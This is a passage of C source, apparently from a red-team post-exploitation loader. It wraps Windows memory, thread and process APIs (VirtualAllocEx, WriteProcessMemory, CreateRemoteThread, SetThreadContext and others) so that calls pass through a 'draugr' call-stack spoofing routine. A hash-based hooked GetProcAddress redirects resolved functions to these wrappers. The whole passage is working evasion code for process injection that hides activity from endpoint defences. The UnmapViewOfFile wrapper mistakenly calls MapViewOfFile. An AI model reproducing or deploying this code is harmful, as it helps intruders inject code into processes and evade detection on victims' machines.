return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 9) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 10) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
|
||||
} else if (functionCall->argc == 11) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
|
||||
} else if (functionCall->argc == 12) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
|
||||
}
|
||||
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
#include "picodebug.h"
|
||||
#endif
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _VirtualAlloc\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> flAllocationType : %d\n", flAllocationType);
|
||||
dprintf(" -> flProtect : %d\n", flProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualAlloc);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[3] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _VirtualAllocEx\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> flAllocationType : %d\n", flAllocationType);
|
||||
dprintf(" -> flProtect : %d\n", flProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualAllocEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[4] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _VirtualProtect\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> flNewProtect : %d\n", flNewProtect);
|
||||
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualProtect);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[3] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _VirtualProtectEx\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> flNewProtect : %d\n", flNewProtect);
|
||||
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualProtectEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[4] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _VirtualFree\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> dwSize : %d\n", dwSize);
|
||||
dprintf(" -> dwFreeType : %d\n", dwFreeType);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualFree);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(dwFreeType);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _GetThreadContext\n");
|
||||
dprintf(" -> hThread : 0x%lp\n", hThread);
|
||||
dprintf(" -> lpContext : 0x%lp\n", lpContext);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(GetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _SetThreadContext\n");
|
||||
dprintf(" -> hThread : 0x%lp\n", hThread);
|
||||
dprintf(" -> lpContext : 0x%lp\n", lpContext);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(SetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread(HANDLE hThread)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _ResumeThread\n");
|
||||
dprintf(" -> hThread : 0x%lp\n", hThread);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(ResumeThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
|
||||
return (DWORD)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _CreateThread\n");
|
||||
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
|
||||
dprintf(" -> dwStackSize : %d\n", dwStackSize);
|
||||
dprintf(" -> lpStartAddress : 0x%lp\n", lpStartAddress);
|
||||
dprintf(" -> lpParameter : 0x%lp\n", lpParameter);
|
||||
dprintf(" -> dwCreationFlags : %d\n", dwCreationFlags);
|
||||
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateThread);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[1] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[2] = (ULONG_PTR)(lpStartAddress);
|
||||
call.args[3] = (ULONG_PTR)(lpParameter);
|
||||
call.args[4] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[5] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _CreateRemoteThread\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
|
||||
dprintf(" -> dwStackSize : %d\n", dwStackSize);
|
||||
dprintf(" -> lpStartAddress : 0x%lp\n", lpStartAddress);
|
||||
dprintf(" -> lpParameter : 0x%lp\n", lpParameter);
|
||||
dprintf(" -> dwCreationFlags : %d\n", dwCreationFlags);
|
||||
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateRemoteThread);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[2] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[3] = (ULONG_PTR)(lpStartAddress);
|
||||
call.args[4] = (ULONG_PTR)(lpParameter);
|
||||
call.args[5] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[6] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _OpenProcess\n");
|
||||
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
|
||||
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
|
||||
dprintf(" -> dwProcessId : %d\n", dwProcessId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(OpenProcess);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwProcessId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _OpenThread\n");
|
||||
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
|
||||
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
|
||||
dprintf(" -> dwThreadId : %d\n", dwThreadId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(OpenThread);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle(HANDLE hObject)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _CloseHandle\n");
|
||||
dprintf(" -> hObject : 0x%lp\n", hObject);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CloseHandle);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hObject);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _CreateFileMappingA\n");
|
||||
dprintf(" -> hFile : 0x%lp\n", hFile);
|
||||
dprintf(" -> lpFileMappingAttributes : 0x%lp\n", lpFileMappingAttributes);
|
||||
dprintf(" -> flProtect : %d\n", flProtect);
|
||||
dprintf(" -> dwMaximumSizeHigh : %d\n", dwMaximumSizeHigh);
|
||||
dprintf(" -> dwMaximumSizeLow : %d\n", dwMaximumSizeLow);
|
||||
dprintf(" -> lpName : %s\n", lpName);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateFileMappingA);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(hFile);
|
||||
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
|
||||
call.args[2] = (ULONG_PTR)(flProtect);
|
||||
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
|
||||
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
|
||||
call.args[5] = (ULONG_PTR)(lpName);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _MapViewOfFile\n");
|
||||
dprintf(" -> hFileMappingObject : 0x%lp\n", hFileMappingObject);
|
||||
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
|
||||
dprintf(" -> dwFileOffsetHigh : %d\n", dwFileOffsetHigh);
|
||||
dprintf(" -> dwFileOffsetLow : %d\n", dwFileOffsetLow);
|
||||
dprintf(" -> dwNumberOfBytesToMap : %d\n", dwNumberOfBytesToMap);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(MapViewOfFile);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hFileMappingObject);
|
||||
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
|
||||
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
|
||||
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _UnmapViewOfFile\n");
|
||||
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(MapViewOfFile);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpBaseAddress);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _VirtualQuery\n");
|
||||
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
|
||||
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
|
||||
dprintf(" -> dwLength : %d\n", dwLength);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualQuery);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[2] = (ULONG_PTR)(dwLength);
|
||||
|
||||
return (SIZE_T)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _DuplicateHandle\n");
|
||||
dprintf(" -> hSourceProcessHandle : 0x%lp\n", hSourceProcessHandle);
|
||||
dprintf(" -> hSourceHandle : 0x%lp\n", hSourceHandle);
|
||||
dprintf(" -> hTargetProcessHandle : 0x%lp\n", hTargetProcessHandle);
|
||||
dprintf(" -> lpTargetHandle : 0x%lp\n", lpTargetHandle);
|
||||
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
|
||||
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
|
||||
dprintf(" -> dwOptions : %d\n", dwOptions);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(DuplicateHandle);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
|
||||
call.args[1] = (ULONG_PTR)(hSourceHandle);
|
||||
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
|
||||
call.args[3] = (ULONG_PTR)(lpTargetHandle);
|
||||
call.args[4] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[5] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[6] = (ULONG_PTR)(dwOptions);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _ReadProcessMemory\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
|
||||
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
|
||||
dprintf(" -> nSize : %d\n", nSize);
|
||||
dprintf(" -> lpNumberOfBytesRead : 0x%lp\n", lpNumberOfBytesRead);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(ReadProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _WriteProcessMemory\n");
|
||||
dprintf(" -> hProcess : 0x%lp\n", hProcess);
|
||||
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
|
||||
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
|
||||
dprintf(" -> nSize : %d\n", nSize);
|
||||
dprintf(" -> lpNumberOfBytesWritten : 0x%lp\n", lpNumberOfBytesWritten);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(WriteProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _ExitThread\n");
|
||||
dprintf(" -> dwExitCode : %d\n", dwExitCode);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(g_ExitThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwExitCode);
|
||||
|
||||
draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _CreateProcessA\n");
|
||||
dprintf(" -> lpApplicationName : %s\n", lpApplicationName);
|
||||
dprintf(" -> lpCommandLine : %s\n", lpCommandLine);
|
||||
dprintf(" -> lpProcessAttributes : 0x%lp\n", lpProcessAttributes);
|
||||
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
|
||||
dprintf(" -> bInheritHandles : %d\n", bInheritHandles);
|
||||
dprintf(" -> dwCreationFlags : %d\n", dwCreationFlags);
|
||||
dprintf(" -> lpEnvironment : 0x%lp\n", lpEnvironment);
|
||||
dprintf(" -> lpCurrentDirectory : %s\n", lpCurrentDirectory);
|
||||
dprintf(" -> lpStartupInfo : 0x%lp\n", lpStartupInfo);
|
||||
dprintf(" -> lpProcessInformation : 0x%lp\n", lpProcessInformation);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateProcessA);
|
||||
call.argc = 10;
|
||||
call.args[0] = (ULONG_PTR)(lpApplicationName);
|
||||
call.args[1] = (ULONG_PTR)(lpCommandLine);
|
||||
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
|
||||
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[4] = (ULONG_PTR)(bInheritHandles);
|
||||
call.args[5] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[6] = (ULONG_PTR)(lpEnvironment);
|
||||
call.args[7] = (ULONG_PTR)(lpCurrentDirectory);
|
||||
call.args[8] = (ULONG_PTR)(lpStartupInfo);
|
||||
call.args[9] = (ULONG_PTR)(lpProcessInformation);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
{
|
||||
#if DEBUG
|
||||
dprintf("[POSTEX] _Sleep\n");
|
||||
dprintf(" -> dwMilliseconds : %d\n", dwMilliseconds);
|
||||
#endif
|
||||
|
||||
/* only stack spoof if sleep is >= 1s */
|
||||
if (dwMilliseconds < 1000) {
|
||||
Sleep(dwMilliseconds);
|
||||
return;
|
||||
}
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(Sleep);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwMilliseconds);
|
||||
|
||||
draugr(&call);
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(LoadLibraryA);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpLibFileName);
|
||||
|
||||
return (HMODULE)draugr(&call);
|
||||
}
|
||||
|
||||
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
{
|
||||
char * result = (char *)GetProcAddress(hModule, lpProcName);
|
||||
|
||||
/*
|
||||
* Check to see what function is being resolved.
|
||||
* Note that lpProcName may be an ordinal, not a string.
|
||||
*/
|
||||
|
||||
if ((ULONG_PTR)lpProcName >> 16 == 0) {
|
||||
/* it's an ordinal */
|
||||
return result;
|
||||
}
|
||||
|
||||
/* Look at the ones we want to hook */
|
||||
|
||||
/* Calculte function hash */
|
||||
DWORD h = hash((char *)lpProcName);
|
||||
|
||||
if (h == GETPROCADDRESS_HASH) {
|
||||
return (char *)_GetProcAddress;
|
||||
}
|
||||
else if (h == LOADLIBRARYA_HASH) {
|
||||
return (char *)_LoadLibraryA;
|
||||
}
|
||||
else if (h == VIRTUALALLOC_HASH) {
|
||||
return (char *)_VirtualAlloc;
|
||||
}
|
||||
else if (h == VIRTUALALLOCEX_HASH) {
|
||||
return (char *)_VirtualAllocEx;
|
||||
}
|
||||
else if (h == VIRTUALPROTECT_HASH) {
|
||||
return (char *)_VirtualProtect;
|
||||
}
|
||||
else if (h == VIRTUALPROTECTEX_HASH) {
|
||||
return (char *)_VirtualProtectEx;
|
||||
}
|
||||
else if (h == VIRTUALFREE_HASH) {
|
||||
return (char *)_VirtualFree;
|
||||
}
|
||||
else if (h == GETTHREADCONTEXT_HASH) {
|
||||
return (char *)_GetThreadContext;
|
||||
}
|
||||
else if (h == SETTHREADCONTEXT_HASH) {
|
||||
return (char *)_SetThreadContext;
|
||||
}
|
||||
else if (h == RESUMETHREAD_HASH) {
|
||||
return (char *)_ResumeThread;
|
||||
}
|
||||
else if (h == CREATETHREAD_HASH) {
|
||||
return (char *)_CreateThread;
|
||||
}
|
||||
else if (h == CREATEREMOTETHREAD_HASH) {
|
||||
return (char *)_CreateRemoteThread;
|
||||
}
|
||||
else if (h == OPENPROCESS_HASH) {
|
||||
return (char *)_OpenProcess;
|
||||
}
|
||||
else if (h == OPENTHREAD_HASH) {
|
||||
return (char *)_OpenThread;
|
||||
}
|
||||
else if (h == CLOSEHANDLE_HASH) {
|
||||
return (char *)_CloseHandle;
|
||||
}
|
||||
else if (h == CREATEFILEMAPPINGA_HASH) {
|
||||
return (char *)_CreateFileMappingA;
|
||||
}
|
||||
else if (h == MAPVIEWOFFILE_HASH) {
|
||||
return (char *)_MapViewOfFile;
|
||||
}
|
||||
else if (h == UNMAPVIEWOFFILE_HASH) {
|
||||
return (char *)_UnmapViewOfFile;
|
||||
}
|
||||
